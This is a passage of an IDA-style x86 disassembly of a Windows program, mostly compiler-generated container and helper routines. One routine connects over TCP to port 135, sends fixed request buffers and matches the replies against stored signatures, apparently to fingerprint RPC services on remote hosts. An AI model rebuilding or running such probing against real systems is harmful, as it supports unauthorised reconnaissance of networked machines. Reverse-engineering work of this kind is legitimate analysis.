push offset asc_4453F8 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013ED
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_4453F8 ; "/"
lea ecx, [esp+94h+var_6C]
call sub_4013ED
lea ecx, [esp+90h+var_24]
push eax
push ecx
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 15h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
add esi, 58h
push offset asc_4453F8 ; "/"
mov ecx, esi
call sub_4015E1
lea edx, [esp+90h+var_6C]
mov ecx, esi
push edx
call sub_4016C7
lea ecx, [esp+90h+var_6C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
mov al, 1
loc_421519: ; CODE XREF: sub_420F10+2Aj
; sub_420F10+BAj ...
mov ecx, [esp+90h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 84h
retn
sub_420F10 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 190h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4216D0 proc near ; CODE XREF: sub_401AFFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov edx, [esp+arg_4]
push ebx
mov ebx, [esp+4+arg_C]
push ebp
sub edx, ebx
xor eax, eax
push esi
push edi
test edx, edx
jle short loc_4216FB
loc_4216E4: ; CODE XREF: sub_4216D0+29j
mov esi, [esp+10h+arg_0]
mov edi, [esp+10h+arg_8]
add esi, eax
mov ecx, ebx
xor ebp, ebp
repe cmpsb
jz short loc_421702
inc eax
cmp eax, edx
jl short loc_4216E4
loc_4216FB: ; CODE XREF: sub_4216D0+12j
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_421702: ; CODE XREF: sub_4216D0+24j
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
retn
sub_4216D0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421720: ; CODE XREF: ___:004020B8j
mov eax, 2010h
call sub_437B30
mov eax, [esp+2018h]
push ebp
push esi
dec eax
push edi
jz short loc_42176D
dec eax
jz short loc_421747
dec eax
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421747: ; CODE XREF: ___:00421738j
mov eax, [esp+2020h]
push 1388h
push eax
call sub_402022
add esp, 8
neg al
sbb eax, eax
pop edi
pop esi
and eax, 3
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_42176D: ; CODE XREF: ___:00421735j
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_4218C9
cmp esi, 0FFFFFFFFh
jz loc_4218C9
xor ecx, ecx
push 87h
mov [esp+10h], ecx
mov word ptr [esp+10h], 2
mov [esp+14h], ecx
mov [esp+18h], ecx
mov [esp+1Ch], ecx
nop
call near ptr 71AB2B66h
mov edx, [esp+2020h]
mov [esp+0Eh], ax
push edx
call sub_40188E
add esp, 4
mov [esp+10h], eax
lea eax, [esp+0Ch]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jz loc_4218C2
mov ebp, dword_511CA0
push 0
push 48h
push offset dword_444DC0
push esi
call ebp
cmp eax, 0FFFFFFFFh
jz loc_4218C2
mov edi, dword_511CA4
push 0
lea ecx, [esp+20h]
push 2000h
push ecx
push esi
call edi
cmp eax, 0FFFFFFFFh
jz loc_4218C2
cmp byte ptr [esp+1Eh], 0Ch
jnz loc_4218C2
push 0
push 18h
push offset dword_444E34
push esi
call ebp
cmp eax, 0FFFFFFFFh
jz loc_4218C2
push 0
lea edx, [esp+20h]
push 2000h
push edx
push esi
call edi
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4218C2
cmp byte ptr [esp+1Eh], 2
jnz short loc_4218C2
push 10h
push offset loc_444E0C
lea eax, [esp+24h]
push edi
push eax
call sub_401AFF
add esp, 10h
test al, al
jz short loc_421891
xor ecx, ecx
cmp edi, 12Ch
setnl cl
inc ecx
push esi
mov edi, ecx
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_421891: ; CODE XREF: ___:0042186Ej
push 10h
push offset dword_444E20
lea edx, [esp+24h]
push edi
push edx
call sub_401AFF
add esp, 10h
neg al
sbb eax, eax
push esi
and eax, 3
mov edi, eax
nop
call near ptr 71AB9639h
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
loc_4218C2: ; CODE XREF: ___:004217DBj
; ___:004217F6j ...
push esi
nop
call near ptr 71AB9639h
loc_4218C9: ; CODE XREF: ___:0042177Ej
; ___:00421787j
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 2010h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; ---------------------------------------------------------------------------
loc_421950: ; CODE XREF: ___:00401A0Fj
xor al, al
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421970 proc near ; CODE XREF: sub_40120Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401311
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4010E6
sub_421970 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219B0 proc near ; CODE XREF: sub_4018E8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401910
sub_4219B0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4219F0 proc near ; CODE XREF: sub_401825j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40197E
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4014E2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4019A6
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401956
sub_4219F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421A60 proc near ; CODE XREF: sub_4014E2j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401EDD
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421AA0 proc near ; CODE XREF: sub_40197Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421AA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421AD0 proc near ; CODE XREF: sub_402185j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40197E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40190B
sub_421AD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B10 proc near ; CODE XREF: sub_40170Dj
push esi
mov esi, ecx
call sub_4019FB
mov eax, esi
pop esi
retn
sub_421B10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B30 proc near ; CODE XREF: sub_40122Bj
mov eax, [ecx]
push eax
call sub_4010F5
add esp, 4
retn
sub_421B30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B50 proc near ; CODE XREF: sub_40107Dj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40206D
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421B50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421B80 proc near ; CODE XREF: sub_401811j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40201D
neg al
sbb eax, eax
inc eax
retn 4
sub_421B80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BB0 proc near ; CODE XREF: sub_4016EAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401212
sub_421BB0 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421BF0 proc near ; CODE XREF: sub_401253j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4013F7
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401465
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40100F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4021DA
sub_421BF0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421C60 proc near ; CODE XREF: sub_401465j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D89
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_421C60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421CA0 proc near ; CODE XREF: sub_4013F7j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D89
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_421CA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421CD0 proc near ; CODE XREF: sub_401325j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_4013F7
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401BC2
sub_421CD0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D10 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
call sub_4011A9
mov eax, esi
pop esi
retn
sub_421D10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D30 proc near ; CODE XREF: sub_401055j
mov eax, [ecx]
push eax
call sub_40108C
add esp, 4
retn
sub_421D30 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D50 proc near ; CODE XREF: sub_401839j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40110E
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_421D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421D80 proc near ; CODE XREF: sub_4012BCj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401D5C
neg al
sbb eax, eax
inc eax
retn 4
sub_421D80 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421DB0 proc near ; CODE XREF: sub_4010E6j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401EEC
mov edi, eax
push edi
call sub_401B31
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_40139D
sub_421DB0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401B31
push edi
mov [eax], ebx
call sub_401B31
mov edi, [eax]
push edi
call sub_401B31
mov ecx, [eax]
push ecx
call sub_4015DC
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401172
add esp, 4
mov ecx, esi
push eax
call sub_401E5B
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D98
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421E50 proc near ; CODE XREF: sub_40190Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4010C8
mov edi, eax
push edi
call sub_401D07
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401910
sub_421E50 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401D07
push edi
mov [eax], ebx
call sub_401D07
mov edi, [eax]
push edi
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4010F5
add esp, 4
mov ecx, esi
push eax
call sub_4017F3
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401EDD
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421EF0 proc near ; CODE XREF: sub_4019A6j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jz short loc_421F4A
loc_421F08: ; CODE XREF: sub_421EF0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4020D6
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A2D
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401811
test al, al
jnz short loc_421F08
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_421F4A: ; CODE XREF: sub_421EF0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_421EF0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421F80 proc near ; CODE XREF: sub_401910j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 24h
call sub_401E0B
sub_421F80 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_421F95
mov edi, esi
loc_421F95: ; CODE XREF: ___:00421F91j
push esi
call sub_40206D
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_421FAA
mov edi, esi
loc_421FAA: ; CODE XREF: ___:00421FA6j
push esi
call sub_401D07
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_421FD0 proc near ; CODE XREF: sub_401956j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401550
sub_421FD0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_421FF0 proc near ; CODE XREF: sub_40206Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_421FF0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422010 proc near ; CODE XREF: sub_4010F5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422010 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422030 proc near ; CODE XREF: sub_4019FBj
mov eax, ecx
retn
sub_422030 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422050 proc near ; CODE XREF: sub_401EDDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401523
mov eax, esi
pop esi
retn 4
sub_422050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422080 proc near ; CODE XREF: sub_40201Dj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_422080 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4220B0 proc near ; CODE XREF: sub_401BC2j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4018F7
mov edi, eax
push edi
call sub_4010EB
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401212
sub_4220B0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4010EB
push edi
mov [eax], ebx
call sub_4010EB
mov edi, [eax]
push edi
call sub_4010EB
mov ecx, [eax]
push ecx
call sub_40110E
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_40108C
add esp, 4
mov ecx, esi
push eax
call sub_4013E8
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401D89
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422150 proc near ; CODE XREF: sub_40100Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jz short loc_4221AA
loc_422168: ; CODE XREF: sub_422150+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4019BA
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401B90
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4012BC
test al, al
jnz short loc_422168
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4221AA: ; CODE XREF: sub_422150+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_422150 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4221E0 proc near ; CODE XREF: sub_401212j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 20h
call sub_4020DB
sub_4221E0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_4221F5
mov edi, esi
loc_4221F5: ; CODE XREF: ___:004221F1j
push esi
call sub_40110E
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_42220A
mov edi, esi
loc_42220A: ; CODE XREF: ___:00422206j
push esi
call sub_4010EB
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422230 proc near ; CODE XREF: sub_4021DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4018F2
sub_422230 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422250 proc near ; CODE XREF: sub_40110Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_422250 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422270 proc near ; CODE XREF: sub_40108Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_422270 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422290 proc near ; CODE XREF: sub_4011A9j
mov eax, ecx
retn
sub_422290 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222B0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4018FC
mov eax, esi
pop esi
retn 4
sub_4222B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4222E0 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4222E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422310 proc near ; CODE XREF: sub_401E5Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401A3C
add esp, 8
retn 8
sub_422310 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422340 proc near ; CODE XREF: sub_401A2Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4020D6
mov ecx, eax
call sub_4010C8
mov esi, eax
push esi
call sub_40206D
push esi
mov ebx, eax
call sub_401D07
mov ecx, [eax]
push ecx
call sub_40206D
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401D07
push esi
mov ebx, eax
call sub_40206D
mov eax, [eax]
push eax
call sub_401D07
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4010F5
add esp, 1Ch
mov ecx, edi
push eax
call sub_40163B
push esi
mov ecx, edi
call sub_401956
sub_422340 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422400 proc near ; CODE XREF: sub_401D07j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_422400 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422420 proc near ; CODE XREF: sub_401E0Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D2A
sub_422420 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422450 proc near ; CODE XREF: sub_401550j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_422450 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_422470 proc near ; CODE XREF: sub_4017F3j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40203B
add esp, 8
retn 8
sub_422470 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224A0 proc near ; CODE XREF: sub_401523j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4224A0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224C0 proc near ; CODE XREF: sub_4010C8j
mov eax, [ecx]
retn
sub_4224C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4224E0 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40107D
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4224E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422510 proc near ; CODE XREF: sub_401B90j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4019BA
mov ecx, eax
call sub_4018F7
mov esi, eax
push esi
call sub_40110E
push esi
mov ebx, eax
call sub_4010EB
mov ecx, [eax]
push ecx
